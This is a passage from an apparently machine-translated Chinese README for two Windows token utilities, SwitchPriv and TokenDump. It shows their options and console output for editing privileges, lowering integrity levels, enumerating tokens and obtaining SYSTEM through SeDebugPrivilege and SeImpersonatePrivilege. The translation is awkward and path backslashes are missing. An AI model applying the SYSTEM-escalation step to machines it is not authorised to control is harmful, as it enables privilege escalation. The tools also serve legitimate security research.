[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.
PS C:Dev> .SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 4392
[*] Process Name : powershell
[+] Got 1 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
=================== =======
SeTimeZonePrivilege Enabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
您可以使用逗号分离的值来过滤多个特权，如下所示：
PS C:Dev> .SwitchPriv.exe -p 24300 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 24300
[*] Process Name : powershell
[+] Got 24 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================================= =========================
SeIncreaseQuotaPrivilege Disabled
SeSecurityPrivilege Disabled
SeTakeOwnershipPrivilege Disabled
SeLoadDriverPrivilege Disabled
SeSystemProfilePrivilege Disabled
SeSystemtimePrivilege Disabled
SeProfileSingleProcessPrivilege Disabled
SeIncreaseBasePriorityPrivilege Disabled
SeCreatePagefilePrivilege Disabled
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeShutdownPrivilege Disabled
SeDebugPrivilege Enabled
SeSystemEnvironmentPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeRemoteShutdownPrivilege Disabled
SeUndockPrivilege Disabled
SeManageVolumePrivilege Disabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
SeCreateSymbolicLinkPrivilege Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled
[*] Integrity Level : High Mandatory Level
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 24300 -f rest,back,deb
[>] Trying to remove all token privileges except one.
[*] Target PID : 24300
[*] Process Name : powershell
[>] Trying to remove privileges other than follows.
[*] SeBackupPrivilege
[*] SeRestorePrivilege
[*] SeDebugPrivilege
[+] SeIncreaseQuotaPrivilege is removed successfully.
[+] SeSecurityPrivilege is removed successfully.
[+] SeTakeOwnershipPrivilege is removed successfully.
[+] SeLoadDriverPrivilege is removed successfully.
[+] SeSystemProfilePrivilege is removed successfully.
[+] SeSystemtimePrivilege is removed successfully.
[+] SeProfileSingleProcessPrivilege is removed successfully.
[+] SeIncreaseBasePriorityPrivilege is removed successfully.
[+] SeCreatePagefilePrivilege is removed successfully.
[+] SeShutdownPrivilege is removed successfully.
[+] SeSystemEnvironmentPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeRemoteShutdownPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeManageVolumePrivilege is removed successfully.
[+] SeImpersonatePrivilege is removed successfully.
[+] SeCreateGlobalPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[+] SeTimeZonePrivilege is removed successfully.
[+] SeCreateSymbolicLinkPrivilege is removed successfully.
[+] SeDelegateSessionUserImpersonatePrivilege is removed successfully.
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 24300 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 24300
[*] Process Name : powershell
[+] Got 3 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================= ========
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeDebugPrivilege Enabled
[*] Integrity Level : High Mandatory Level
[*] Done.
要启用，禁用或删除所有可用的代币特权，请将all指定为--enable ， --disable或--remove选项的值：
PS C:Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:Dev> .SwitchPriv.exe -e all
[>] Trying to enable all token privileges.
[*] Target PID : 6772
[*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.
PS C:Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
要查找过程具有特定特权，请使用-s选项如下：
PS C:Dev> .SwitchPriv.exe -s createt
[>] Searching processes have SeCreateTokenPrivilege.
[+] Got 5 process(es).
[*] Memory Compression (PID : 2548)
[*] smss (PID : 372)
[*] lsass (PID : 736)
[*] csrss (PID : 584)
[*] csrss (PID : 504)
[*] Access is denied by following 2 process(es).
[*] System (PID : 4)
[*] Idle (PID : 0)
[*] Done.
PS C:Dev> .SwitchPriv.exe -g -p 2548
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 2548
[*] Process Name : Memory Compression
[+] Got 31 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================================= =========================
SeCreateTokenPrivilege Disabled
SeAssignPrimaryTokenPrivilege Disabled
SeLockMemoryPrivilege EnabledByDefault, Enabled
SeIncreaseQuotaPrivilege Disabled
SeTcbPrivilege EnabledByDefault, Enabled
SeSecurityPrivilege Disabled
SeTakeOwnershipPrivilege Disabled
SeLoadDriverPrivilege Disabled
SeSystemProfilePrivilege EnabledByDefault, Enabled
SeSystemtimePrivilege Disabled
SeProfileSingleProcessPrivilege EnabledByDefault, Enabled
SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled
SeCreatePagefilePrivilege EnabledByDefault, Enabled
SeCreatePermanentPrivilege EnabledByDefault, Enabled
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeShutdownPrivilege Disabled
SeDebugPrivilege EnabledByDefault, Enabled
SeAuditPrivilege EnabledByDefault, Enabled
SeSystemEnvironmentPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeManageVolumePrivilege Disabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
SeTrustedCredManAccessPrivilege Disabled
SeRelabelPrivilege Disabled
SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled
SeTimeZonePrivilege EnabledByDefault, Enabled
SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled
SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled
[*] Integrity Level : System Mandatory Level
[*] Done.
如果要设置完整性级别，请使用--integrity选项如下：
PS C:Dev> whoami /groups | findstr /i level
Mandatory LabelMedium Mandatory Level Label S-1-16-8192
PS C:Dev> .SwitchPriv.exe -i 1
[>] Trying to update Integrity Level.
[*] Target PID : 3436
[*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.
PS C:Dev> whoami /groups | findstr /i level
Mandatory LabelLow Mandatory Level Label S-1-16-4096
要执行任何动作作为系统，请按下set -S标志（ SeDebugPrivilege和SeImpersonatePrivilege ）：
PS C:Dev> .SwitchPriv.exe -g -p 2548 -S
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 2548
[*] Process Name : Memory Compression
[>] Trying to get SYSTEM.
[+] Got SYSTEM privilege.
[+] Got 31 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================================= =========================
SeCreateTokenPrivilege Disabled
SeAssignPrimaryTokenPrivilege Disabled
SeLockMemoryPrivilege EnabledByDefault, Enabled
SeIncreaseQuotaPrivilege Disabled
SeTcbPrivilege EnabledByDefault, Enabled
SeSecurityPrivilege Disabled
SeTakeOwnershipPrivilege Disabled
SeLoadDriverPrivilege Disabled
SeSystemProfilePrivilege EnabledByDefault, Enabled
SeSystemtimePrivilege Disabled
SeProfileSingleProcessPrivilege EnabledByDefault, Enabled
SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled
SeCreatePagefilePrivilege EnabledByDefault, Enabled
SeCreatePermanentPrivilege EnabledByDefault, Enabled
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeShutdownPrivilege Disabled
SeDebugPrivilege EnabledByDefault, Enabled
SeAuditPrivilege EnabledByDefault, Enabled
SeSystemEnvironmentPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeManageVolumePrivilege Disabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
SeTrustedCredManAccessPrivilege Disabled
SeRelabelPrivilege Disabled
SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled
SeTimeZonePrivilege EnabledByDefault, Enabled
SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled
SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled
[*] Integrity Level : System Mandatory Level
[*] Done.
回到顶部
项目
该工具是检查令牌信息的实用程序：
C:Dev>.TokenDump.exe -h
TokenDump - Tool to dump processs token information.
Usage: TokenDump.exe [Options]
-h, --help : Displays this help message.
-d, --debug : Flag to enable SeDebugPrivilege.
-e, --enum : Flag to enumerate brief information tokens for processes or handles.
-T, --thread : Flag to scan thead tokens. Use with -e option.
-H, --handle : Flag to scan token handles. Use with -e option.
-s, --scan : Flag to get verbose information for a specific process, thread or handle.
-a, --account : Specifies account name filter string. Use with -e flag.
-p, --pid : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
-t, --tid : Specifies a target TID in decimal format. Use with -s flag and -p option.
-v, --value : Specifies a token handle value in hex format. Use with -s flag and -p option.
要列举所有流程的令牌，只需设置-e标志：
C:Dev>.TokenDump.exe -e
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004 0 svchost.exe NT AUTHORITYSYSTEM System False False
3728 0 conhost.exe NT AUTHORITYSYSTEM System False False
--snip--
6712 0 svchost.exe NT AUTHORITYLOCAL SERVICE System False False
1972 0 svchost.exe NT AUTHORITYSYSTEM System False False
[+] Got 129 token information.
[*] Found 7 account(s).
[*] NT AUTHORITYSYSTEM
[*] dev22h2user
[*] NT AUTHORITYLOCAL SERVICE
[*] NT AUTHORITYNETWORK SERVICE
[*] Font Driver HostUMFD-0
[*] Font Driver HostUMFD-1
[*] Window ManagerDWM-1
[*] Done.
如果要启用Sedebugprivilege，请设置-d标志如下：
C:Dev>.TokenDump.exe -e -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004 0 svchost.exe NT AUTHORITYSYSTEM System False False
3728 0 conhost.exe NT AUTHORITYSYSTEM System False False
3740 0 vm3dservice.exe NT AUTHORITYSYSTEM System False False
--snip--
当用-e标志设置-H标志时，Tokendump试图枚举令牌处理信息：
C:Dev>.TokenDump.exe -e -H -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.
[Token Handle(s) - winlogon.exe (PID: 704)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
0x2B0 1 NT AUTHORITYSYSTEM System False False Primary Anonymous
0x2B4 1 NT AUTHORITYSYSTEM System False False Primary Anonymous
0x38C 1 dev22h2user Medium False False Primary Impersonation
--snip--
[Token Handle(s) - svchost.exe (PID: 3272)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ========================== ========= ========== ============ ========== ===================
0x168 0 NT AUTHORITYLOCAL SERVICE System False False Primary Anonymous
[+] Got 819 handle(s).
[*] Found 8 account(s).
[*] NT AUTHORITYSYSTEM
[*] dev22h2user
[*] Font Driver HostUMFD-1
[*] Font Driver HostUMFD-0
[*] NT AUTHORITYNETWORK SERVICE
[*] Window ManagerDWM-1
[*] NT AUTHORITYLOCAL SERVICE
[*] NT AUTHORITYANONYMOUS LOGON
[*] Done.
当指定带有-p选项的PID时，Tokendup仅列举指定的过程句柄：
C:Dev>.TokenDump.exe -e -H -d -p 704
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.
[Token Handle(s) - winlogon.exe (PID: 704)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
0x2B0 1 NT AUTHORITYSYSTEM System False False Primary Anonymous
0x2B4 1 NT AUTHORITYSYSTEM System False False Primary Anonymous
0x38C 1 dev22h2user Medium False False Primary Impersonation
0x398 1 dev22h2user High False False Primary Identification
0x3C4 1 dev22h2user Medium False False Impersonation Impersonation
0x3C8 1 dev22h2user Medium False False Impersonation Impersonation
0x3D0 1 dev22h2user Medium False False Impersonation Impersonation
0x3D4 1 dev22h2user Medium False False Impersonation Impersonation
[+] Got 8 handle(s).
[*] Found 2 account(s).
[*] NT AUTHORITYSYSTEM
[*] dev22h2user
[*] Done.
要枚举模拟的线程令牌，请设置-T标志以及-e标志，如下所示：
C:Dev>.TokenDump.exe -e -T -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate impersonated threads.
PID TID Session Process Name Token User Integrity Impersonation Level
==== ==== ======= ============ =================== ========= ===================
1952 2000 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
1952 2300 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
3516 4348 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
3516 4656 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
[+] Got 4 thread(s).
[*] Found 1 account(s).
[*] NT AUTHORITYSYSTEM
[*] Done.
如果要使用令牌用户名过滤这些结果，请将过滤器字符串设置为-a选项值，如下所示：
C:Dev>.TokenDump.exe -e -a network -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
3500 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
2904 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
2504 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
7012 0 msdtc.exe NT AUTHORITYNETWORK SERVICE System False False
7092 0 sppsvc.exe NT AUTHORITYNETWORK SERVICE System False False
1676 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
3584 0 WmiPrvSE.exe NT AUTHORITYNETWORK SERVICE System False False
1000 0 svchost.exe NT AUTHORITYNETWORK SERVICE System False False
[+] Got 9 token information.
[*] Found 7 account(s).
[*] NT AUTHORITYSYSTEM
[*] dev22h2user
[*] NT AUTHORITYLOCAL SERVICE
[*] NT AUTHORITYNETWORK SERVICE
[*] Font Driver HostUMFD-0
[*] Font Driver HostUMFD-1
[*] Window ManagerDWM-1
[*] Done.
C:Dev>.TokenDump.exe -e -a network -d -H
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.
[Token Handle(s) - lsass.exe (PID: 768)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
0x914 0 NT AUTHORITYNETWORK SERVICE System False False Impersonation Impersonation
--snip--
[Token Handle(s) - msdtc.exe (PID: 7012)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
0x23C 0 NT AUTHORITYNETWORK SERVICE System False False Primary Anonymous
[+] Got 27 handle(s).
[*] Found 8 account(s).
[*] NT AUTHORITYSYSTEM
[*] dev22h2user
[*] Font Driver HostUMFD-1
[*] Font Driver HostUMFD-0
[*] NT AUTHORITYNETWORK SERVICE
[*] Window ManagerDWM-1
[*] NT AUTHORITYLOCAL SERVICE
[*] NT AUTHORITYANONYMOUS LOGON
[*] Done.
要获取特定过程的详细信息，请将-s标志设置为-p选项值：
C:Dev>.TokenDump.exe -s -p 5996
[>] Trying to dump process token information.
[Token Information for StartMenuExperienceHost.exe (PID: 5996)]
ImageFilePath : C:WindowsSystemAppsMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewyStartMenuExperienceHost.exe
CommandLine : "C:WindowsSystemAppsMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewyStartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Token User : dev22h2user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001)
Token Owner : dev22h2user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001)
Primary Group : dev22h2None (SID: S-1-5-21-3896868301-3921591151-1374190648-513)
Token Type : Primary
Impersonation Level : Anonymous
Token ID : 0x0000000000063D9A
Authentication ID : 0x000000000001DFE5
Original ID : 0x00000000000003E7
Modified ID : 0x0000000000063D24
Integrity Level : Low
Protection Level : N/A
Session ID : 1
Elevation Type : Limited
Mandatory Policy : NoWriteUp
Elevated : False
AppContainer : True
TokenFlags : VirtualizeAllowed, IsFiltered, LowBox
AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy
AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000
AppContainer Number : 2
Has Linked Token : True
Token Source : User32
Token Source ID : 0x000000000001DE9D
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled
GROUP INFORMATION
-----------------
Group Name Attributes
============================================================= =============================================
dev22h2None Mandatory, EnabledByDefault, Enabled
Everyone Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLocal account and member of Administrators group UseForDenyOnly
BUILTINAdministrators UseForDenyOnly
BUILTINUsers Mandatory, EnabledByDefault, Enabled
NT AUTHORITYINTERACTIVE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITYAuthenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITYThis Organization Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLocal account Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLogonSessionId_0_122425 Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
NT AUTHORITYNTLM Authentication Mandatory, EnabledByDefault, Enabled
Mandatory LabelLow Mandatory Level Integrity, IntegrityEnabled
APPCONTAINER CAPABILITIES
-------------------------
Capability Name Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITYYour Internet connection Enabled
APPLICATION PACKAGE AUTHORITYYour home or work networks Enabled
NAMED CAPABILITIESPackageQuery Enabled
NAMED CAPABILITIESActivitySystem Enabled
NAMED CAPABILITIESPreviewStore Enabled
NAMED CAPABILITIESCortanaPermissions Enabled
NAMED CAPABILITIESAppointmentsSystem Enabled
NAMED CAPABILITIESTeamEditionExperience Enabled
NAMED CAPABILITIESShellExperience Enabled
NAMED CAPABILITIESPackageContents Enabled
NAMED CAPABILITIESVisualElementsSystem Enabled
NAMED CAPABILITIESUserAccountInformation Enabled
NAMED CAPABILITIESActivityData Enabled
NAMED CAPABILITIESCloudStore Enabled
NAMED CAPABILITIESTargetedContent Enabled
NAMED CAPABILITIESStoreAppInstall Enabled
NAMED CAPABILITIESStoreLicenseManagement Enabled
NAMED CAPABILITIESCortanaSettings Enabled
NAMED CAPABILITIESDependencyTarget Enabled
NAMED CAPABILITIESSearchSettings Enabled
NAMED CAPABILITIESCellularData Enabled
NAMED CAPABILITIESWifiData Enabled
PACKAGE CAPABILITYmicrosoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIESAccessoryManager Enabled
NAMED CAPABILITIESUserAccountInformation Enabled
DACL INFORMATION
----------------
Account Name Access Flags Type
======================================================= =========================== ===== =============
dev22h2user GenericAll None AccessAllowed
NT AUTHORITYSYSTEM GenericAll None AccessAllowed
NT AUTHORITYLogonSessionId_0_122425 GenericExecute, GenericRead None AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] WIN://SYSAPPID
Flags : None
Type : String
Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
Value[0x01] : App
Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
[*] WIN://PKG
Flags : None
Type : UInt64
Value[0x00] : 0x0000000200000001
[*] WIN://PKGHOSTID
Flags : None
Type : UInt64
Value[0x00] : 0x1000000000000001
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000041
Value[0x01] : 0x0000000000063D9B
[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]
Token User : dev22h2user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001)
Token Owner : BUILTINAdministrators (SID: S-1-5-32-544)
Primary Group : dev22h2None (SID: S-1-5-21-3896868301-3921591151-1374190648-513)
Token Type : Impersonation
Impersonation Level : Identification
Token ID : 0x000000000016ECE6
Authentication ID : 0x000000000001DF83
Original ID : 0x00000000000003E7
Modified ID : 0x000000000001DFE4
Integrity Level : High
Protection Level : N/A
Session ID : 1
Elevation Type : Full
Mandatory Policy : NoWriteUp, NewProcessMin
Elevated : True
AppContainer : False
TokenFlags : NotLow
Token Source : User32
Token Source ID : 0x000000000001DE9D
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================================= =========================
SeIncreaseQuotaPrivilege Disabled
SeSecurityPrivilege Disabled
SeTakeOwnershipPrivilege Disabled
SeLoadDriverPrivilege Disabled
SeSystemProfilePrivilege Disabled
SeSystemtimePrivilege Disabled
SeProfileSingleProcessPrivilege Disabled
SeIncreaseBasePriorityPrivilege Disabled
SeCreatePagefilePrivilege Disabled
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeShutdownPrivilege Disabled
SeDebugPrivilege Disabled
SeSystemEnvironmentPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeRemoteShutdownPrivilege Disabled
SeUndockPrivilege Disabled
SeManageVolumePrivilege Disabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
SeCreateSymbolicLinkPrivilege Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled
GROUP INFORMATION
-----------------
Group Name Attributes
============================================================= =============================================
dev22h2None Mandatory, EnabledByDefault, Enabled
Everyone Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLocal account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTINAdministrators Mandatory, EnabledByDefault, Enabled, Owner
BUILTINUsers Mandatory, EnabledByDefault, Enabled
NT AUTHORITYINTERACTIVE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITYAuthenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITYThis Organization Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLocal account Mandatory, EnabledByDefault, Enabled
NT AUTHORITYLogonSessionId_0_122425 Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
NT AUTHORITYNTLM Authentication Mandatory, EnabledByDefault, Enabled
Mandatory LabelHigh Mandatory Level Integrity, IntegrityEnabled
DACL INFORMATION
----------------
Account Name Access Flags Type
==================================== =========================== ===== =============
BUILTINAdministrators GenericAll None AccessAllowed
NT AUTHORITYSYSTEM GenericAll None AccessAllowed
NT AUTHORITYLogonSessionId_0_122425 GenericExecute, GenericRead None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] WIN://SYSAPPID
Flags : None
Type : String
Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
Value[0x01] : App
Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
[*] WIN://PKG
Flags : None
Type : UInt64
Value[0x00] : 0x0000000200000001
[*] WIN://PKGHOSTID
Flags : None
Type : UInt64
Value[0x00] : 0x1000000000000001
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000041
Value[0x01] : 0x0000000000063D9B
[*] Done.
如果将特定过程中的句柄值设置为-v选项，而PID为-p选项以及-s标志，则此工具为句柄获取详细信息，如下所示：
C:Dev>.TokenDump.exe -s -p 7012 -v 0x23C -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.
[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]
Token User : NT AUTHORITYNETWORK SERVICE (SID: S-1-5-20)
Token Owner : NT AUTHORITYNETWORK SERVICE (SID: S-1-5-20)
Primary Group : NT AUTHORITYNETWORK SERVICE (SID: S-1-5-20)
Token Type : Primary
Impersonation Level : Anonymous
Token ID : 0x000000000007DF17
Authentication ID : 0x00000000000003E4
Original ID : 0x00000000000003E7
Modified ID : 0x000000000007DEE2
Integrity Level : System
Protection Level : N/A
Session ID : 0
Elevation Type : Default
Mandatory Policy : NoWriteUp, NewProcessMin
Elevated : False
AppContainer : False
TokenFlags : IsFiltered, NotLow
Has Linked Token : False
Token Source : N/A
Token Source ID : N/A
PRIVILEGES INFORMATION
----------------------
Privilege Name State
======================= =========================
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
GROUP INFORMATION
-----------------
Group Name Attributes
====================================== ====================================================
Mandatory LabelSystem Mandatory Level Integrity, IntegrityEnabled
Everyone Mandatory, EnabledByDefault, Enabled
BUILTINUsers Mandatory, EnabledByDefault, Enabled
NT AUTHORITYSERVICE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITYAuthenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITYThis Organization Mandatory, EnabledByDefault, Enabled
NT SERVICEMSDTC EnabledByDefault, Enabled, Owner
NT AUTHORITYLogonSessionId_0_515780 Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
DACL INFORMATION
----------------
Account Name Access Flags Type
=================== =========== ===== =============
NT AUTHORITYSYSTEM GenericAll None AccessAllowed
OWNER RIGHTS ReadControl None AccessAllowed
NT SERVICEMSDTC GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000070
Value[0x01] : 0x000000000007DF18
[*] Done.
要调查应用于线程的模仿令牌，请将线程ID设置为-t选项，如下所示：
C:Dev>.TokenDump.exe -e -T -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate impersonated threads.
PID TID Session Process Name Token User Integrity Impersonation Level
==== ==== ======= ============ =================== ========= ===================
1952 2000 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
1952 2300 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
3516 4348 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
3516 4656 0 svchost.exe NT AUTHORITYSYSTEM System Impersonation
[+] Got 4 thread(s).
[*] Found 1 account(s).
[*] NT AUTHORITYSYSTEM
[*] Done.
C:Dev>.TokenDump.exe -s -p 3516 -t 4656 -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump thread token information.
[Token Information for svchost.exe (PID: 3516, TID: 4656)]
Token User : NT AUTHORITYSYSTEM (SID: S-1-5-18)
Token Owner : NT AUTHORITYSYSTEM (SID: S-1-5-18)
Primary Group : NT AUTHORITYSYSTEM (SID: S-1-5-18)
Token Type : Impersonation
Impersonation Level : Impersonation
Token ID : 0x0000000000038CC4
Authentication ID : 0x00000000000003E7
Original ID : 0x00000000000003E7
Modified ID : 0x000000000002CE61
Integrity Level : System
Protection Level : N/A
Session ID : 0
Elevation Type : Default
Mandatory Policy : NoWriteUp, NewProcessMin
Elevated : True
AppContainer : False
TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust
Has Linked Token : False
Token Source : N/A
Token Source ID : N/A
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege EnabledByDefault, Enabled
SeSecurityPrivilege Disabled
SeSystemProfilePrivilege EnabledByDefault, Enabled
SeDebugPrivilege EnabledByDefault, Enabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
GROUP INFORMATION
-----------------
Group Name Attributes
====================================== ====================================================
Mandatory LabelSystem Mandatory Level Integrity, IntegrityEnabled
Everyone Mandatory, EnabledByDefault, Enabled
BUILTINUsers Mandatory, EnabledByDefault, Enabled
NT AUTHORITYSERVICE Mandatory, EnabledByDefault, Enabled
